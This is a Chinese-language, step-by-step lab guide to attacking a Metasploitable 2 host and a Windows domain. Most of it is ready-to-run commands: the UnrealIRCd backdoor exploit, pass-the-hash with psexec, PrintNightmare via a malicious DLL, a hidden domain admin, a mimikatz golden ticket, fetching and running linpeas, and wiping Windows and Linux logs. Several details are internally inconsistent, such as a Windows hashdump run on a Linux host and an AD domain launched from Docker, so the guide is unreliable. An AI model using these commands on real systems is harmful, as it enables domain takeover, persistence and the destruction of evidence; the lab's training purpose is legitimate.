本清单以 "外网突破→内网信息收集→横向移动→权限提升→持久化" 为核心流程,使用 Kali Linux 作为攻击机,Metasploitable 2(Linux 靶机)+ Vulhub Windows 域环境靶机作为目标,全程手把手指导。
一、 靶场环境搭建
1. 基础环境准备
| 设备 | 系统版本 | IP 规划(建议同一内网段) | 核心作用 |
|---|---|---|---|
| 攻击机 | Kali Linux 2025 | 192.168.56.101 |
执行扫描、漏洞利用、横向移动 |
| 外网跳板机 | Metasploitable 2 | 192.168.56.102 |
模拟外网 Web 服务器,作为内网入口 |
| 内网域靶机 | Windows Server 2019(AD) | 192.168.56.103 |
域控制器(DC),域名为 test.com |
| 内网普通主机 | Windows 10 | 192.168.56.104 |
域内普通主机,加入 test.com 域 |
2. 环境配置步骤
- 虚拟机网络设置 :所有设备均设置为 Host-Only 模式,确保处于同一内网段,且攻击机能访问所有靶机。
- Metasploitable 2 部署
- 下载镜像:Metasploitable 2 官方镜像
- 虚拟机导入后,默认账户密码:
msfadmin/msfadmin
- Windows 域环境部署(Vulhub 快捷方式)
- 克隆 Vulhub 仓库:
git clone https://github.com/vulhub/vulhub.git - 进入 Windows 域环境目录(如
vulhub/windows/ad) - 启动靶机:
docker-compose up -d - 注意:Vulhub 域靶机默认开启 WinRM、SMB 服务,方便后续渗透。
- 克隆 Vulhub 仓库:
二、 实操步骤(完整流程)
阶段 1:外网突破 - 获取跳板机(Metasploitable 2)权限
- 端口扫描与漏洞发现
- 攻击机执行 nmap 扫描:
nmap -sV -p- 192.168.56.102 - 发现开放端口:21(FTP)、22(SSH)、80(HTTP)、3306(MySQL)等,且存在UnrealIRCd 后门漏洞(经典漏洞)。
- 攻击机执行 nmap 扫描:
- 漏洞利用 - 获取 Meterpreter 会话
- 启动 msfconsole:
msfconsole - 搜索漏洞模块:
search unrealircd - 加载模块:
use exploit/unix/irc/unrealircd_3281_backdoor - 设置目标 IP:
set RHOSTS 192.168.56.102 - 执行攻击:
run - 成功获取 meterpreter 会话 ,当前权限为
msfadmin。
- 启动 msfconsole:
阶段 2:内网信息收集(从跳板机探测内网)
- 跳板机内网网段探测
- 在 meterpreter 中执行:
ipconfig,发现跳板机内网网卡 IP 为192.168.56.102,推测内网段为192.168.56.0/24。 - 执行内网存活主机扫描:
run post/multi/gather/ping_sweep RHOSTS=192.168.56.0/24 - 发现存活主机:
192.168.56.103(DC)、192.168.56.104(Windows 10)。
- 在 meterpreter 中执行:
- 端口与服务探测
- 对 DC 进行端口扫描:
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.56.103 PORTS=135,139,445,389 - 发现 DC 开放 445(SMB)、389(LDAP)端口,确认是域控制器。
- 对 DC 进行端口扫描:
- 域环境信息收集
-
切换到跳板机 shell:
shell -
安装 impacket 工具(Kali 已预装),执行域用户查询: bash
运行
python3 /usr/share/doc/python3-impacket/examples/net.py user /domain -target-ip 192.168.56.103 -
成功获取域用户列表:
administrator、user1等。
-
阶段 3:横向移动 - 从跳板机到内网 Windows 10 主机
- 凭证获取(跳板机本地哈希提取)
-
回到 meterpreter 会话,执行哈希提取:
run post/windows/gather/hashdump -
若跳板机是 Linux,改用
linpeas.sh提取凭证:bash
运行
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh chmod +x linpeas.sh ./linpeas.sh -
假设获取到域用户
user1的 NTLM 哈希:aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdef
-
- 哈希传递攻击(PTH)
-
使用 impacket 的 psexec.py 执行横向移动: bash
运行
python3 /usr/share/doc/python3-impacket/examples/psexec.py test.com/user1@192.168.56.104 -hashes aad3b435b51404eeaad3b435b51404ee:1234567890abcdef1234567890abcdef -
成功获取 Windows 10 主机的 system 权限 shell。
-
阶段 4:权限提升 - 从域用户到域管理员
- 域内信息收集(Windows 10 主机)
- 在 shell 中执行域管理员查询:
net group "Domain Admins" /domain - 发现域管理员账户:
administrator。
- 在 shell 中执行域管理员查询:
- 利用 PrintNightmare 漏洞提权(假设 DC 未打补丁)
-
攻击机下载 PrintNightmare 利用脚本:
git clone https://github.com/cube0x0/CVE-2021-34527.git -
编译脚本后,通过 smb 共享传输到 Windows 10 主机: bash
运行
impacket-smbserver share . -smb2support -
Windows 10 主机挂载共享:
net use \\192.168.56.101\share -
执行提权脚本:
CVE-2021-34527.exe \\192.168.56.101\share\malicious.dll -
成功获取 域管理员权限。
-
阶段 5:持久化 - 域内留后门
-
创建隐藏域管理员账户
-
在 DC 中执行命令: cmd
net user hidden_admin P@ssw0rd! /add /domain net group "Domain Admins" hidden_admin /add /domain
-
-
黄金票据生成
-
使用 mimikatz 提取域控制器的 KRBTGT 账户哈希: bash
运行
mimikatz.exe "lsadump::lsa /inject /name:krbtgt" exit -
生成黄金票据: bash
运行
mimikatz.exe "kerberos::golden /domain:test.com /sid:S-1-5-21-xxxxxx /krbtgt:哈希值 /user:backdoor /ptt" exit -
利用黄金票据可长期控制整个域,无需再次破解密码。
-
阶段 6:痕迹清理
-
Windows 日志清理
-
执行命令删除事件日志: cmd
wevtutil cl System wevtutil cl Security wevtutil cl Application
-
-
Linux 日志清理
-
清空跳板机日志: bash
运行
echo "" > /var/log/auth.log echo "" > /var/log/syslog history -c && history -w
-
三、 靶场实操注意事项
- 环境隔离 :所有操作必须在独立虚拟机环境中进行,禁止接入公网。
- 工具版本 :确保 Kali 工具为最新版,执行
apt update && apt upgrade升级。 - 权限授权 :本清单仅用于合法渗透测试学习,必须获得靶机授权。
- 排错技巧:若攻击失败,优先检查网络连通性、靶机补丁状态、工具参数是否正确。